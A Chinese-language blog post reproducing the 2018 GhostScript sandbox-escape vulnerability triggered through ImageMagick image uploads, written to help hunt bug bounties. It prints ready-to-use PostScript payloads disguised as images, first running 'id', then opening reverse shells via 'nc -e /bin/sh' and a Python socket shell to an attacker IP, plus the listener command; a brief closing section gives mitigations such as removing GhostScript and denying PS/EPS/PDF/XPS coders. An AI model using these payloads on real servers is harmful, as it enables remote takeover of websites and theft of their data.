GhostScript命令执行漏洞

0x00 前言

今天早上 http://seclists.org/oss-sec/2018/q3/142 曝出了这个imageMagick的漏洞,然后下午从朋友那里听说了,这个漏洞影响范围极广,有缩略图功能的各种网站都有机会中招。当时看着大佬们在百度、新浪等各大厂商的src提交漏洞报告薅赏金的时候,自己也想尝试尝试,奈何手边没有电脑,只能等到晚上回来复现。

0x01 漏洞原理

GhostScript插件被许多图片处理库如 ImageMagick、Python PIL 等所使用,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括GhostScript。

而GhostScript的安全沙箱可以通过构造恶意代码绕过,当我们构造恶意代码并重命名成图片的格式,上传至目标服务器时,目标服务器的图像处理模块(为了完成如头像缩略图等功能)就会触发构造的恶意代码,造成远程代码执行。

也正是因为使用这些图像处理模块的网站十分多,所以漏洞影响范围极大,对于我们学生党来说,是个刷SRC赚点零花钱的好机会。

0x02 漏洞复现

作者给出的测试poc有两种,分别针对centos和ubuntu:

For Ubuntu

1
2
3
4
5
6
7
8
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

将这样一张图片上传后,经过GhostScript就会触发id命令

我们在本地可以通过imageMagick的图像压缩功能测试一下,首先安装imageMagick

1
apt-get install imageMagick

然后使用convert命令压缩图片触发命令:

1
convert shellexe.jpeg whatever.gif

显示如下信息说明测试成功:

1
2
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

For CentOS

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

centos中除了payload不同以外,其他过程都相同,不过安装imageMagicK需要使用

1
yum install imageMagicK

0x03 漏洞利用

这两种linux系统中都可以验证漏洞存在了,那么我们该如何利用它呢?

虽然我们每次直接改id再上传使服务器执行命令也可以,但是未免太过麻烦,想要方便的控制肯定是得反弹一个shell,我这里提供两种方法:

netcat

第一种是反弹一个netcat的连接,因为大部分的linux都会自带nc,我们只需要将id命令改成反弹一个nc到我们监听的服务器和端口即可:

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(nc -e /bin/sh xxx.xxx.xxx.xxx 1234)) currentdevice putdeviceprops

只要将恶意代码中xxx.xxx.xxx.xxx改为自己的ip,将1234改为自己监听的端口就可以使用了。

python shell

当然也不排除一些服务器没有nc,这种时候就用第二种方法:反弹一个python shell,linux中基本都是装了python的

python版本的shell编写可以参考我前面的博客

我这里也给出一个直接可以利用的payload:

1
2
3
4
5
6
7
8
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.100",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops

上述两种方法都还需要我们在自己远程监听的服务器上打开一个nc的监听:

1
nc -l 2333

然后上传图片,如果攻击成功就可以得到shell:

0x04 应对

暂时官方没有补丁,可以参考长亭安全团队给出的临时解决方案:

  • 1.卸载 GhostScript
    以 Ubuntu 系统为例,执行以下命令以卸载 GhostScript:
    sudo apt-get remove ghostscript

  • 2.修改 ImageMagick 的 policy 文件,默认位置为 /etc/ImageMagick/policy.xml,在 中加入以下 (即禁用 PS、EPS、PDF、XPS coders):

    1
    2
    3
    4
    5
    6
    <policymap>
    <policy domain="coder" rights="none" pattern="PS" />
    <policy domain="coder" rights="none" pattern="EPS" />
    <policy domain="coder" rights="none" pattern="PDF" />
    <policy domain="coder" rights="none" pattern="XPS" />
    </policymap>

不过很快官方补丁就会给出,那时就可以直接更新imageMagicK